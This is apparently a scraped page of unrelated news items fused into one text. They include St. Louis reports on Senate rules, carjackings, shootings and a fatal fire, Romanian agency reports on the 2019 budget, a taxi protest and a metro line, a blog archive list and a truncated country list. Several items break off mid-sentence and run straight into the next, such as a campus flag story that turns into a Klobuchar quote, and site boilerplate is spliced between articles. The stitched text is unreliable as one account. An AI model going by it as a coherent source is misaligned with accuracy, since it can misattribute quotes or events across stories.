A few clouds. Low 43F. Winds NW at 5 to 10 mph.Members of the Center for Diversity and Inclusion and facilities maintenance at Washington University placed Black lives matter flags spellingBut Klobuchar, while acknowledging her recently announced presidential candidacy gave her an extra interest in the rules change, opposed it nonetheless. She said 30 hours was not too much to ask for debate in lifetime judicial appointments. And other Democrats pointed to the quality of Trump's nominees - including a half dozen judicial nominees who got "not qualified" recommendations from the American Bar Association - as ample reason to demand 30 hours of debate time on all nominees.

"In Minnesota, (two hours) is about the time it takes to make a hot dish," Klobuchar said. "But a hot dish is not a lifetime appointment."

Republicans argued they were simply trying to permanently have the Senate live under 2013 rules changed pushed by then Democratic Leader Harry Reid, when Reid lowered the vote approval threshold of judicial nominees from 60 to 51 to contend with what Reid said at the time was unprecedented obstruction of Obama nominees.

But when Blunt and others complained about current Democratic obstruction of Trump nominees, Sen. Dick Durbin, D-Ill., pointed to the elephant in the room.

"I would say that when it came to a vacancy on the Supreme Court, we saw an unheard of record of obstruction in the Senate," he said of the GOP's refusal to take up the Garland nomination in 2016.ST. LOUIS  A St. Louis teen pleaded guilty to federal charges Tuesday and admitted to one carjacking and two attempted carjackings in St. Louis in 2016.

Asean Mitchell, now 19, and Travion J. Brown, now 21, carjacked a 2002 Oldsmobile Bravada at gunpoint around 11 p.m. on Nov. 20, 2016, at a traffic light at North 11th and St. Charles streets, Mitchell's plea says. Brown had the gun.

Two nights later, they and another person tried to carjack a 2006 Nissan Altima that was stopped for a light at 10th and Market streets, but the driver drove away, Mitchell's plea says.

They then tried to steal a 2002 Mercedes SUV at Olive and 11th streets, and Brown shot the driver in the head when he waved the three carjackers away. They ran off, Mitchell's plea says.

Police at the time said the driver was able to help himself into an ambulance and was stable later at a hospital.

After his arrest, Mitchell, who was 17 at the time, admitted his role in the carjacking and two attempted carjackings, his plea says.ST. LOUIS  Authorities have released the names of a man and woman found dead Monday night in St. Louis.

Anthony Ingram, 24, and Deja Anderson, 22, were found shot to death inside a vehicle after someone reported a suspicious car in the 4600 block of North Market Street about 9 p.m.

Ingram lived in the 4900 block of Mardel Avenue in St. Louis, according to police. Anderson was from Independence, Mo., a Kansas City suburb.

St. Louis police say they have no suspects. Homicide detectives were investigating.

The scene is in the Greater Ville neighborhood.

About an hour after the two were found dead, a man was fatally shot while in a vehicle in the 3800 block of North Market.

Police have no suspects in either attack. The two scenes are about two miles apart.The vehicle is black with a silver luggage rack and silver running boards and Missouri license plate is KG2-A1T, police said.

The gunman is black and appeared to be about 30 years old. He was wearing a gray hoodie, black jacket, black pants, a ski mask and white shoes.JEFFERSON CITY  The Missouri Supreme Court dismissed on Wednesday a case brought by a woman who said the states abortion restrictions violated her religious beliefs.

The woman, identified as Mary Doe in court documents, is a member of the Satanic Temple, which describes itself as an association of politically aware Satanists, secularists, and advocates for individual liberty.

Doe does not believe having an abortion terminates a separate, living human being, according to court documents. She said her rights were violated when she was required to wait 72 hours before undergoing an abortion, was given a booklet by Planned Parenthood and underwent a pre-abortion ultrasound.

In an opinion written by Judge Laura Denvir Stith, and agreed to by four other judges, the court ruled that Doe failed to allege a constitutional violation.

The court also said that while Doe alleged requirements under Missouri law violated her rights, the court said there are no such requirements. The court said she was free to turn down the offer of an ultrasound and a booklet.MOSCOW MILLS  A man died in a mobile home fire here Tuesday night.

The Missouri State Fire Marshal's Office is investigating the fire, about 11 p.m. in the 200 block of East Fourth Street in Moscow Mills.

Police officers were the first to arrive at the fire and attempted to rescue the trapped occupant, but were unsuccessful due to heavy smoke, officials said.

By the time Lincoln County Fire Protection District firefighters arrived, they found heavy fire coming from the home. Firefighters entered through a bedroom window in an attempt to rescue the trapped man, but were forced back by fire.

Once firefighters extinguished the fire, they found a man dead inside the home. His name has not been released.

Two firefighters suffered minor injuries and were treated at the scene.

Crews from the Lincoln County Ambulance District, Wentzville Fire Protection District, Winfield-Foley Fire Protection District and Old Monroe Fire Protection District assisted during the fire.

Shake off your afternoon slump with the oft-shared and offbeat news of the day, hand-brewed by our online news editors. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.The casino industry is currently in decline, and its marketplace has become over-saturated. Employees are being laid off and revenues are declining, making a new casino a financial risk. Another casino would also cause an increase in a range of social and economic costs, including debt, bankruptcies, broken families and crime, all issues associated with problem gambling.The disabled vehicle was moving slowly enough that the woman and girl were able to get out along Illinois Route 140, police say. Authorities continued following Austin but werent sure if he had any other people in the vehicle, police said.

At some point along Route 140, Austin tried to carjack another vehicle, and he fatally shot Price. Its terrible," Korando said.

Korando said Price had been driving a pickup on Route 140 when he apparently pulled to the shoulder because he saw the police lights from the pursuit coming toward him.

He was doing the right thing, Korando said of Price, for pulling over.

Austin didnt take Prices vehicle but instead kept his own and continued to flee police in Bond County. He tried to carjack another vehicle but couldnt. Police didnt elaborate.

Austin got out of his SUV at a dead end of Old Nebo Avenue near Terrapin Ridge Road and fired several rounds of gunfire at pursuing officers, Korando said. It was about 11:10 p.m. An officer with the Illinois State Police returned fire. Police soon found Austin dead.

At this time, we dont know if the officers shot him or it was a self-inflicted gunshot wound, Korando said.JEFFERSON COUNTY  A former longtime alderman of the small Jefferson County community of Olympian Village was sentenced to 15 months in federal prison Wednesday and ordered to repay $187,000 of public money that he embezzled.

Gary Keith Atchley, 54, pleaded guilty to wire fraud in U.S. District in St. Louis in September, admitting that he had written city checks to "cash" and to himself.

Atchley was an alderman from 2008 to 2016.

In court Wednesday, defense lawyer Talmage Newton IV said Atchley had "deep remorse and regret" for his crimes, and for betraying members of the community "in the most profound way."

Newton asked for 18 months of house arrest so Atchley could repay the money sooner, as well as community service.

Olympian Village City Attorney Edward Sluys read a letter from the village mayor and council that asked for restitution and an appropriately "severe sanction" to help deter others from engaging in the same behavior.EAST ST. LOUIS  A worker at an East St. Louis gas station shot an employee of the cellphone store next door during an argument Saturday, police said.

Seef A. Bani-Fadel, 28, was charged Monday with aggravated battery with discharge of a weapon. He was being held in the St. Clair County jail with bail set at $250,000.

Bani-Fadel, a worker at the Quick Stop at 2501 Louisiana Boulevard, shot an employee of an attached cellphone store in the leg during an argument at the business Saturday, police said. It wasn't clear what they argued over.

Officers found the weapon and arrested Bani-Fadel at the scene.

There was no immediate word on the condition of the victim.

Shake off your afternoon slump with the oft-shared and offbeat news of the day, hand-brewed by our online news editors. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.ST. LOUIS  A judge here tossed out on Wednesday a temporary restraining order sought by St. Louis police union attorneys to block the release of a so-called exclusion list of officers banned from bringing in cases for prosecution and blocked a union attempt to question an official in Circuit Attorney Kimberly M. Gardners office about the creation of the list.

But union lawyers said the court action would have little effect on an underlying lawsuit.

Circuit Judge Michael Stelzers actions followed a Missouri appeals court opinion earlier in the day that said the unions bid for a temporary restraining order was patently insufficient. That request, filed on behalf of an unidentified John Doe police officer, said that the officers inclusion on the list potentially harmed his character, violated his due process rights to challenge that inclusion, could affect promotions and impedes the ability to perform current employment duties.Joe Holleman Joe Holleman is a reporter for the St. Louis Post-Dispatch. Follow Joe Holleman Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

The blue mist over the STL music scene comes from the death of Frank Gagliano  an original member of Mama's Pride and a longtime local musician and engineer.

Mr. Gagliano, who was 68, died in his sleep Thursday, Feb. 7, 2019. Services were through Pitman Funeral Home in Wentzville. Burial was Wednesday at Jefferson Barracks National Cemetery

A Vietnam War veteran, Mr. Gagliano grew up in the Dogtown neighborhood along with brothers Pat and Danny Liston, who were the core of Mama's Pride.

Mr. Gagliano joined the group after a stint with Jay Barry, a popular cover band that played numerous school dances in the 1970s.

Mama's Pride, with Mr. Gagliano playing keyboards and synthesizers, signed with Atlantic Records in 1974 and made national waves in 1975 with their eponymous debut album, which was recorded at the label's legendary Muscle Shoals studio.

Reviews at the time likened the band's music to the southern-flavored blues jams of the Allman Brothers. Two songs off that first album, "Blue Mist" and "Ol' St. Lou," became staples on St. Louis rock radio.

Survivors include his stepmother, Janice Gagliano of St. Charles; former spouse Shari Hulme; three children, Mike Gagliano of Lake Saint Louis, Angela Cox of St. Charles and Brian Gagliano of Ballwin; and six grandchildren.

Your weekly capsule of local news, life advice, trivia and humor from Post-Dispatch columnist Joe Holleman. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.ST. LOUIS  August A. Busch Sr. lay uncomfortably in his bed at Grant's Farm. In pain from heart disease and gout, he had endured a bad night. When his chauffeur, Anton Feichtinger, entered the bedroom about 8 a.m., Busch asked him to turn on the radio "and get some music."

"While I was doing that, I heard a report," Feichtinger told a coroner's jury one day later. "... I turned and he was lying on the bed. The gun was on the right on the other bed, pitched away."

Busch, 68, committed suicide on Feb. 13, 1934, by shooting himself once in the abdomen, just below his heart, with a pearl-handled .32-caliber revolver he kept by his bed. Shortly beforehand, unknown to anyone, he had scribbled a brief note saying, "Goodbye precious mommie and adorable children." He had underlined "precious" and "adorable."

Busch had been president of Anheuser-Busch Inc. since 1913, when his father, Adolphus Busch, died on a visit to Germany. Adolphus Busch, son-in-law of founder Eberhard Anheuser, made the company big and prosperous. His son managed its survival through the anti-German bias of World War I and Prohibition, which ended in phases during 1933. August A. Busch Sr. also had built the Bevo Mill, roughly halfway between his mansion on Gravois Road and the brewery south of downtown.David Nicklaus David Nicklaus is a business columnist for the St. Louis Post-Dispatch. Follow David Nicklaus Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

A St. Louis area investment manager is part of a truce between a Virginia technology firm and its largest shareholder.

Richard Todaro, a former portfolio manager at Kennedy Capital in Creve Coeur, was one of two directors named to the board of WidePoint, based in Fairfax, Va., last week under terms of a standstill agreement between the company and Nokomis Capital.

Nokomis, a Dallas-based activist hedge fund, took a 15.4 percent stake in WidePoint in 2017 and said it wanted to discuss "means to enhance shareholder value." Widepoint ceded two board seats to Nokomis nominees in July 2017, then agreed last summer to let the hedge fund name two more directors.The Hungarian Democratic Union of Romania (UDMR) believes that the 2019 state budget is a optimistic one and, depending on the conclusions drawn after the debate in the plenary sitting of the two chambers of Parliament, the party will decide how to vote.

"This is an optimistic budget, with several fields facing visible increases, and it seems like a better proposal of a budget too, than the initial one put up for debate. However, its success exclusively depends on the determination of the ministries to use the resources as efficiently as possible. Depending on the conclusions they will draw after the debates of the two chambers, the UDMR groups will decide how to vote in the end," the leader of the UDMR Senators, Cseke Attila-Zoltan, stated on Wednesday, on the occasion of the general debate on the 2019 budget.

According to him, UDMR hopes 2019 to be the last year when Parliament is called to approve the state budget in the same year for which the budget is meant. "Of course, this is not the first time. Unfortunately, in the past ten years the same thing happened in 2010 and in 2017, but this better be the last time when the beginning of the year finds us debating on the state budget," said the Senator.

He also mentioned that UDMR had an active approach in the period before the debate.

In his, opinion, Parliament's decision to return the administration of small contributors to the county finance directorates has already proved to be good for collection.

Moreover, the UDMR representative spoke about the allocation of funds for motorway construction.

He added that it's important that in such fields as healthcare, culture, airport infrastructure there are concrete financing projects in the Transylvania region.Two people, including a state trooper, were treated at Hartford Hospital for injuries that turned out to be minor after a driver struck a patrol car that was parked on the side of the highway. The cruiser, which had its emergency lights on, was behind a tow truck and a car that had become stuck in the snow, state police said.More than 1,600 taxi drivers are protesting on Wednesday in Victorei Square, demanding the amendment of the Taxi service law, so that as to allow the punishment of those who carry out unlicensed passenger public transport, and particularly taxi activities.

Read also: Balance of payments and external debt  December 2018

"We want the Government of Romania to promote an emergency ordinance to amend Law No. 38/2003 on taxi and hire services, so as to allow the punishment of those who perform unlicensed public passenger transport and in particular taxi transport. At this time they cannot be penalized because of the law text stating that such illegal activities must be proven as having been performed 'repeatedly'," Bogdan Dinca, president of the Confederation of Licensed Romanian Operators and Hauliers (COTAR) Bucharest told AGERPRES.

According to him, there are between 1,500 and 1,700 cars in front of the Victoria Palace of Government, and a bigger rally is slated for February 27 - 28, if the taxi drivers' requests are not met.

Protests are being held simultaneously in Iasi, Brasov, Constanta, Timisoara, Slatina, Targu Mures and Arad, and if the taxi drivers' grievances are not solved the protesters will come to Bucharest on February 27 - 28 along with maxi-taxi, bus and minibus carriers, said Dinca.

"This is not a political rally. We take to the street to once again draw the attention of the Government of Romania that they should have long ago scrap from the Taxi service law the phrase 'repeatedly', introduced in 2015 by former MP and then Transport Minister Lucian Sova, who was recently dismissed. We have repeatedly called for the removal of this phrase from the law, which was introduced to prevent authorities from clamping down on transport piracy. We take to the street because the decision of the European Court of Justice that ruled that the apps that perform unauthorized transport are carriers, not providers of online services, is disregarded. We are not asking for money, we only demand that the law is observed. There are over 100,000 unauthorized persons operating in Romania and UBER, Taxi Fly, Bla Bla Car and Clever Go are running their business unbothered, take orders, cash money, in defiance of transport and taxi service legislation that we observe.

AGERPRES .The strategic investment clause, with direct reference to the Chinese operations in Europe, and an address on the future of the INF Treaty to a plenary session of the European Parliament on behalf of High Representative Federico Mogherini is on the agenda of the Romania's Minister-delegate for European Affairs, George Ciamba, in Strasbourg on Wednesday.

Ciamba was in Strasbourg on Tuesday and Wednesday as the representative of the Romanian presidency of the EU Council.

"We are delivering the position of the high representative for foreign policy. It is an address that Mrs Mogherini should have delivered. Since she was not there for the plenary session, she asked us, as the holders of the presidency, to provide the vision, which is actually of the high representative after withdrawal (...) It is less about the national position, and more about the position of the high representative, of course mentioning some things that we share and have repeated so far - that Russia has violated the treaty and it should not withdraw from the treaty, but do everything in its power to comply with the provisions of the INF Treaty," Ciamba told AGERPRES about his address to the plenary session on Wednesday.

He added that during the two days, besides addresses to the plenary sessions, there had been separate debates in Strasbourg on a legislative initiative concerning the Transparency Code - which is being negotiated by the European Parliament, the European Commission and the Council of the European Union - and Article 40, "which is a right of the European Parliament to be informed about the treaties concluded by the European Union".

At the same time, Ciamba attended the plenary session on Tuesday, where Italian Prime Minister Giuseppe Conte discussed the future of Europe. He also mentioned as items on his agenda a debate on correct taxation and the social dimension of taxation as well as discussions on the strategic investment clause, with direct reference to Chinese investment in Europe.

Ciamba also mentioned his Tuesday speech on behalf of the Romanian presidency of the Council on a report on Bosnia and Herzegovina in the context of plans to enlarge the European Union with the Western Balkans.Viorel Mocanu was appointed as Government Agent for the European Court of Human Rights within the Ministry of Foreign Affairs, with the rank of Director-General, by a decision of Prime Minister Viorica Dancila published on Tuesday in the Official Gazette.

Read also: Romania: flu death toll reaches 113

By another decision of the Prime Minister, Catrinel Brumar was released from office as the Government Agent for the European Court of Human Rights, with the rank of Director-General.

Also on Tuesday, Viorica Dancila decided to withdraw the title of honorary advisor of the prime minister in the field of relations with Parliament, granted to Marian Neacsu.

AGERPRES .The Health Ministry (MS) said on Wednesday that it has not identified any complaints from the College of Romanian Medical Physicists over irregularities concerning uncertified persons illicitly practicing at medical facilities units in the fields of oncology and medical radiology and showed that a first investigation reveals the statement to contain "a series of inaccuracies and untruths."

"Thus, under the legislation in force, namely Order 1272/2006 approving rules regarding medical physicists, Art. 7 - Educational background and professional training of medical physicists comprises three levels: First level - Junior medical physicists must hold at least an undergraduate degree in Physics or equivalent (Mathematics, Computer Science, Physical Chemistry, Electronic Engineering, Electrical Engineering or Mechanical Engineering, etc.) Second level - The medical physicist gets trained in medical physicist through theory classes and seminars under the supervision of an expert in medical physics and clinical practice. This level requires at least two years' seniority as junior medical physicist. The third level - In order to become an expert in medical physics, the medical physicist must get clinical training under the supervision of a physicist for at least three more years in addition to the two years as junior physicist, hold a graduate degree or post-graduate degree, and complete postgraduate classes in radioprotection approved by the National Commission on the Control of Nuclear Activities (CNCAN), hereinafter referred to as Level 3 CNCAN, and hold a Level 3 exercise license issued by CNCAN for an expert in medical physics for the appropriate field," the ministry said Wednesday in a press statement.

At the same time, MS says it has looked into the situation of the persons presented and has not identified any irregularities in their educational background or activities, as most of them are holders of CNCAN licences at different levels of exercise.

Moreover, it points out that for various reasons some of these people are no longer working at healthcare facilities, as falsely intimated (for instance they are on a maternity leave, or worked under fixed-term employment contracts).

"One of the mentioned engineers working at a hospital in Bucharest is not employed as a medical physicist and does not work with patients, as it has been misrepresented. He is a technical engineer who deals with reports CNCAN," according to MS.

According to the press statement, on December 18, 2018, the Ministry of Health received from the CFMR deputy chairman Marin Bodale a request for information on how hiring contests are conducted for positions at a department of the Ministry of Health.

MS says that it has asked Bodale to resubmit the complaint he claims to have sent to MS in early 2017 or 2018 and that went unanswered.

About false physicists illicitly practicing in the field of oncology and radiology, MS warns that such information made public without thorough verification does huge disservice to the healthcare system and patients currently undergoing medical treatment.

Marin Bodale, deputy chairman of the College of Medical Physicists of Romania (CFMR), said Wednesday that eight people practised medical physics at care facilities nationwide without having the required educational background.European Commissioner for Regional Policy Corina Cretu on Wednesday approved the earmarking of 517 million euros for a major project "Building of Metro Line 6 (1 Mai-Tokyo)," included by the Romanian authorities in the Large Infrastructure Operational Programme (LIOP), reads a release of the European Executive.

Read also: Balance of payments and external debt  December 2018

The European co-financing is meant for the building of a 6-km segment of the Bucharest subway infrastructure, part of the 14-km Metro Line 6 (to connect Bucharest North Train Station with Henri Coanda International Airport, which is located in the district of Otopeni) in Bucharest. Line 6 will be linked to Line 4 (Bucharest North Station - Straulesti Lake).

Six new stations will be built between 1 Mai and the Baneasa shopping complex, where the Tokyo station will be established, and there will be bought 12 trains, 6 wagons each.

"This investment from the Cohesion Fund will improve the every day life of 1.8 million citizens, who will benefit from better transport connections to more destinations in Bucharest. I hope that the Romanian authorities will find solutions to complete the Metro Line 6 until 2023, as the project says, so that citizens will be able to use this metro line from 1 Mai to the Otopeni International Airport," stated European Commissioner for Regional Policy Corina Cretu.

The constructions works at the 1 Mai - Tokyo Line are scheduled to start in the second half of this year.

In mid-September 2018, the Ministry of Transportations announced in a press release that the project for the Metro Line 6 (1 Mai - Otopeni) will benefit from funds from the European Commission, as they were still negotiating at that time on the maximum value of the non-reimbursable funds to be allotted through the Large Infrastructure Operational Programme.

"The European Commission announced the Ministry of Transportation that it will finance the project for the metro line to ensure the connection between the Henri Coanda International Airport and Otopeni (Metro Line 6, 1 Mai-Otopeni). Negotiations are ongoing regarding the maximum value of the non-reimbursable funds to be allotted through the Large Infrastructure Operational Programme. The final value depends on the discussions between the Romanian authorities, the European Commission and Japan's International Cooperation Agency," read a release sent to AGERPRES on September 13, 2018.

According to this source, the funds were requested to build a direct connection between the Bucharest City and Otopeni district, respectively between the Bucharest North Station and the Henri Coanda International Airport, through building a new metro line to measure 14.2 km and have 12 subway stations.

The total value of the project is 1,391,634,272 euro, with the co-financing to be ensured through a loan from the Japanese Bank for International Cooperation, and well from the state budget.

AGERPRES .National Defence Minister Gabriel Les on Wednesday carried out a bilateral meeting with his Canadian counterpart Harjit Singh Sajjan, on the occasion of the informal meeting of defence ministers of NATO member countries, which took place in Brussels, a National Defence Ministry (MApN) release informs.

According to the quoted source, "the Romanian official commended the substantial and constant contribution of Canada to implementing the consolidation measures on the allied Eastern flank, proven through Canada's participation in strengthened air policing missions on the soil of our country."

"Furthermore, Minister Les thanked for the commitments that Canada took on this year, in view of carrying out such missions. Minister Les also emphasised the special importance of the transatlantic relationship for the security of Europe, taking into account the current security challenges in the Black Sea region," the release mentions.

The two officials also discussed the cooperation within the United Nations Organisation (UN), the main topic being the military mission which Romania will conduct in the autumn of this year in Mali.

"The two officials tackled the topic of Romania's contribution to MINUSMA mission in Mali [United Nations Multidimensional Integrated Stabilisation Mission in Mali], as of October 2019. Thus, taking into account that Romania will succeed Canada in fulfilling the mission, the two ministers discussed general aspects that such an operational contribution implies, as well as the support which the Canadian partner could offer, through its expertise, in preparing our country's participation in this mission," the MApN release said.

On Wednesday also, the National Defence Minister met in Brussels with Georgia's Defence Minister Levan Izoria, whom he tackled with topics of shared interest regarding bilateral military cooperation, the recent developments in the security situation in the Black Sea region, as well as NATO-Georgia cooperation.

Gabriel Les underscored that our country will continue to actively support the reform and modernisation process of the Georgian armed forces, in order to strengthen the defence system and increase interoperability with allied states.

Moreover, the Romanian Minister commended Georgia's consistent operational participation in the Alliance's efforts to strengthen regional and international security and stability, especially in regards to the Resolute Support mission in Afghanistan.Chairman of the People's Movement Party (PMP) Eugen Tomac on Wednesday told government members, at the general debate on 2019 budget, that they managed to upset all the mayors, including the Social Democrat ones, because of the decided "cuts."

"No matter what the government says, the reality is only one: you managed to upset all the mayors, including the ones representing PSD (Social Democratic Party). I saw them on the Government stairs, they are concerned because of the cuts you've made," said Tomac.

He also mentioned the blocked jobs in the public sector and the cut in funds to children and persons with disabilities.

"We don't understand why during this period when we can save the economy you only place 4.5 per cent in investments, while we had 6.5 per cent of the GDP earmarked for investments in full crisis. So, our request is for you to care more about the Romanians and agree with our proposal to slash all special pensions, instead, for you are mocking the pensioners like this. We have 4.5 million pensioners with pensions below 1,000 lei. If we cut special pensions, we will have money including for motorway and we could build 1,000 nurseries (...) and most definitely we will have resources for ambulances and including for "Unirii Motorway," stated Tomac.

Moreover, he asked the Minister of Finance to explain why didn't the Government send the draft budget for 2019 to Parliament in October last year, as the law requires.Culture and National Identity Minister Valer-Daniel Breaz welcomed on Wednesday British Council (BC) Director Nigel Bellingham, occasion on which the two parties expressed their availability to stimulate contemporary creation through programmes such as the Creative Europe.

"Within the discussion, both sides voiced their interest in providing support for the projects and programmes meant to encourage communities to get involved in educating and promoting the culture of Romania and the UK. Moreover, the dialogue was aimed at the availability of the collaboration between the Romanian Culture and National Identity Ministry and the British Council for endorsing cultural diversity, stimulating creativity and contemporary creation through programmes such as the Creative Europe," a Culture and National Identity Ministry (MCIN) release published on Wednesday on the institution website informs.

On Tuesday Minister Valer-Daniel Breaz carried out a bilateral meeting at the MCIN headquarters with France's Ambassador to Romania Michele Ramis, which was aimed at drawing up a common strategy involving Romanian-French cultural projects, but also the promotion of francophonie and of the younger generation of cultural content creators.

"Thus, the two officials reiterate the importance of cooperating in view of a better unfolding of the 2019 Romanian-France Cultural Season, in respect to the events that will take place in Romania between 18 April and 14 July 2019. Moreover, the meeting took place in the context in which Culture and National Identity Minister Valer-Daniel Breaz will meet his French counterpart Franck Riester on 16 April, on the occasion of the informal meeting of culture ministers, which is scheduled to take place at the Palace of Parliament," the MCIN release informs.

According to the quoted source, on Tuesday also, the Culture Minister welcomed Ambassador of the Republic of Belarus to Romania Andrei Grinkevich, within which the two officials signed the Collaboration Programme between Romania's MCIN and the Culture Ministry of the Republic of Belarus. The document established the premises of a cultural collaboration between the two states, being mainly aimed at bilaterally promoting the activities and the cultural emblematic personalities of Romania and Belarus.Marin Bodale, deputy chairman of the College of Medical Physicists of Romania (CFMR), told AGERPRES on Wednesday that eight people practised medical physics at healthcare facilities without having the required educational background.

The eight people worked as medical physicists at private and public medical facilities in Bucharest, Bacau, Alba, Teleorman, and Arad.

According to Bodale, most of them worked at healthcare facilities in Bucharest City.

He added that some of them are still practising.

"So far as we know, some of them continue to work as medical physicists (...) one of them has gone abroad and got hired by a private maker of medical devices," he said.

He argued that they could endanger the life of the patients and the safety of medical staff.

"They would compute the necessary doses. Doctors provide a dose in the file and want their treatment plans to be carried through. The administered dose has to be rightly calculated by the medical physicists, but the dose in these instances is not certain to have been rightly calculated as long as the unqualified physicists do not have basic educational background required," said Bodale.

He added that he had reported this situation to the Ministry of Health on several occasions, and also to the National Commission on Nuclear Activities Control (CNCAN).

"The Ministry of Health has never responded to our requests (...) We have submitted written complaints with the ministry over the years, not with the current minister of health, but with all previous ministers," added Bodale.Floor leader of the Alliance of Liberals and Democrats (ALDE) deputies Varujan Vosganian said on Wednesday that, for the first time within the debates on the budget law, the issue of too little money for salaries hasn't come up, or the issue of pensions being too low or that the allocations by areas are reduced, thus, he believes that this represents a remarkable starting point in a budget.

"I was among those who discussed in relation to the investments programme of this budget. This is why, at least in respect to this innovative aspect of a unitary vision, including Moldavia, where I grew up and which I represent in Parliament, it seems that this marks a turning point in the Romanian budget philosophy. (...) It's very interesting that in this debate - I confess, it is the first time when this has happened to me - there was no question of being too little money for salaries, no issues related to pensions being too low, no issue that the allocations by areas are small, which, I confess, represents a remarkable starting point in a budget. Instead, it was said that this budget will threaten national security. I don't believe this thing. We had talks in the committees, I don't think that it will happen. It was said that a control over the local public administration shall be set. It's not true. This budget implies a higher cost per inhabitant against last years. Therefore, there is a higher safety net," Vosganian stated in the joint plenary sitting of Parliament, at the general debates on the draft of the 2019 budget law.

He added that it is for the first time when there is a coherent vision about the future of Moldavia.

"In this budget draft a high-speed railroad is finally mentioned, that links Giurgiu-Bucharest to Iasi and Suceava via Pascani. It is the first time when a vision is given in relation to the road network, it's about the section from Iasi to Targu Mures, which enters the public-private partnership system and the section from Targu Neamt to Targu Mures, where the feasibility study is being updated. And I would like to add that from Targu Mures toward the west border, a good part of the highway will be completed in the next two years. (...) This budget is a bet with ourselves and a bet with the Romanian people. Basically, it is the proposal of a road map about Romania," he mentioned.Blog Archive Apr 2010 (22) May 2010 (25) Jun 2010 (8) Jul 2010 (12) Aug 2010 (18) Sep 2010 (19) Oct 2010 (29) Nov 2010 (30) Dec 2010 (18) Jan 2011 (13) Feb 2011 (21) Mar 2011 (23) Apr 2011 (19) May 2011 (31) Jun 2011 (36) Jul 2011 (46) Aug 2011 (26) Sep 2011 (12) Oct 2011 (15) Nov 2011 (17) Dec 2011 (7) Jan 2012 (18) Feb 2012 (4) Mar 2012 (12) Apr 2012 (18) May 2012 (10) Jun 2012 (21) Jul 2012 (8) Aug 2012 (15) Sep 2012 (7) Oct 2012 (17) Nov 2012 (20) Dec 2012 (10) Jan 2013 (58) Feb 2013 (59) Mar 2013 (60) Apr 2013 (98) May 2013 (135) Jun 2013 (204) Jul 2013 (293) Aug 2013 (351) Sep 2013 (363) Oct 2013 (348) Nov 2013 (374) Dec 2013 (442) Jan 2014 (547) Feb 2014 (476) Mar 2014 (526) Apr 2014 (527) May 2014 (469) Jun 2014 (408) Jul 2014 (472) Aug 2014 (522) Sep 2014 (443) Oct 2014 (472) Nov 2014 (497) Dec 2014 (536) Jan 2015 (539) Feb 2015 (520) Mar 2015 (582) Apr 2015 (658) May 2015 (679) Jun 2015 (673) Jul 2015 (728) Aug 2015 (803) Sep 2015 (923) Oct 2015 (924) Nov 2015 (802) Dec 2015 (791) Jan 2016 (782) Feb 2016 (835) Mar 2016 (929) Apr 2016 (866) May 2016 (947) Jun 2016 (1044) Jul 2016 (882) Aug 2016 (1035) Sep 2016 (967) Oct 2016 (918) Nov 2016 (854) Dec 2016 (885) Jan 2017 (881) Feb 2017 (777) Mar 2017 (897) Apr 2017 (872) May 2017 (851) Jun 2017 (851) Jul 2017 (971) Aug 2017 (1040) Sep 2017 (998) Oct 2017 (1144) Nov 2017 (1046) Dec 2017 (838) Jan 2018 (873) Feb 2018 (769) Mar 2018 (885) Apr 2018 (809) May 2018 (827) Jun 2018 (820) Jul 2018 (840) Aug 2018 (854) Sep 2018 (844) Oct 2018 (852) Nov 2018 (870) Dec 2018 (912) Jan 2019 (919) Feb 2019 (827) Mar 2019 (957) Apr 2019 (913) May 2019 (1007) Jun 2019 (935) Jul 2019 (950) Aug 2019 (936) Sep 2019 (910) Oct 2019 (920) Nov 2019 (874) Dec 2019 (908) Jan 2020 (942) Feb 2020 (849) Mar 2020 (898) Apr 2020 (848) May 2020 (822) Jun 2020 (789) Jul 2020 (819) Aug 2020 (858) Sep 2020 (841) Oct 2020 (873) Nov 2020 (812) Dec 2020 (780) Jan 2021 (765) Feb 2021 (716) Mar 2021 (819) Apr 2021 (805) May 2021 (815) Jun 2021 (667)Monday marked David Addisons first day holding the reins of Statesvilles finest.

As the newly hired chief of the Statesville Police Department, Addison said he hopes to be a solid leader. The department has faced five months of administrative uncertainty after former chief Joe Barone retired last year.

Addison said that his first days on the job have been busy as he familiarizes himself with Statesville.

It has been outstanding meeting all the people in the department and the community, he said Tuesday.

Addisons appointment was announced Jan. 23. City Manager Ron Smith said that input from police and the public made him want to bring a new face into the department. Addison was formerly a captain at the Durham Police Department.

On Tuesday, Addison said he wants to be present in the Statesville community as much as his schedule allows.

Ive read a lot of policies and one thing were going to do is be at more community events, he said.

Addison said this will be an extension of efforts to improve police relations within Statesville.Countries & Areas

Search for country or area A Afghanistan Albania Algeria Andorra Angola Antigua and Barbuda Argentina Armenia Australia Austria Azerbaijan B Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Bulgaria Burkina Faso Burma Burundi C Cabo Verde Cambodia Cameroon Canada Central African Republic Chad Chile China Colombia Comoros Costa Rica Cote dIvoire Croatia Cuba Cyprus Czechia D Democratic Republic of the Congo Denmark Djibouti Dominica Dominican Republic E Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia Eswatini Ethiopia F Fiji Finland France G Gabon Gambia Georgia Germany Ghana Greece Grenada Guatemala Guinea Guinea-Bissau Guyana H Haiti Holy See Honduras Hungary I Iceland India Indonesia Iran Iraq Ireland Israel Italy J Jamaica Japan Jordan K Kazakhstan Kenya Kiribati Kosovo Kuwait Kyrgyzstan L Laos Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg M Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands Mauritania Mauritius Mexico Micronesia Moldova Monaco Mongolia Montenegro Morocco Mozambique N Namibia Nauru Nepal Netherlands New Zealand Nicaragua Niger Nigeria North Korea North Macedonia Norway O Oman P Pakistan Palau Palestinian Territories Panama Papua New Guinea Paraguay Peru Philippines Poland Portugal Q Qatar R Republic of the Congo Romania Russia Rwanda S Saint Kitts and Nevis Saint Lucia Saint Vincent and the Grenadines Samoa San Marino 